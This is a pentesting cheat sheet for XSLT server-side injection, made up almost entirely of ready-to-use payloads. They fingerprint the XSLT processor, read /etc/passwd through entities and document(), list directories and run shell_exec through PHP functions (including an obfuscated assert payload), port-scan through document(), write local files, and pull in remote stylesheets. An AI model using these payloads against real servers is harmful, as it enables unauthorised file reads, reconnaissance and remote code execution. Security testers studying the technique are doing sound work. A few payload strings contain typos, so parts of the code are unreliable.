Pentesting

XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)

It is used to transform XML documents in another kind. Versions: 1, 2 and 3 (1 is the most used). The transformation can be done in the server or in the browser).

The most used frameworks are: Libxslt (Gnome), Xalan (Apache) and Saxon (Saxonica).

In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. An example of this kind of vulnerability can be found on https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

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<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

External HTTP Request

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Javascript Injection

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Directory listing (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>

Read files

Internal

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

Through HTTP

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

Internal (PHP)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>

Port scan

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

Write to a file

XSLT 2.0

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Xalan-J extension

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

Other ways to write files in the PDF

Include external XSL

<xsl:include href="http://extenal.web/external.xsl"/>
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

Execute code

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

Execute code using other frameworks in the PDF

More Languages

In this page you can find examples of RCE in other languajes: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

References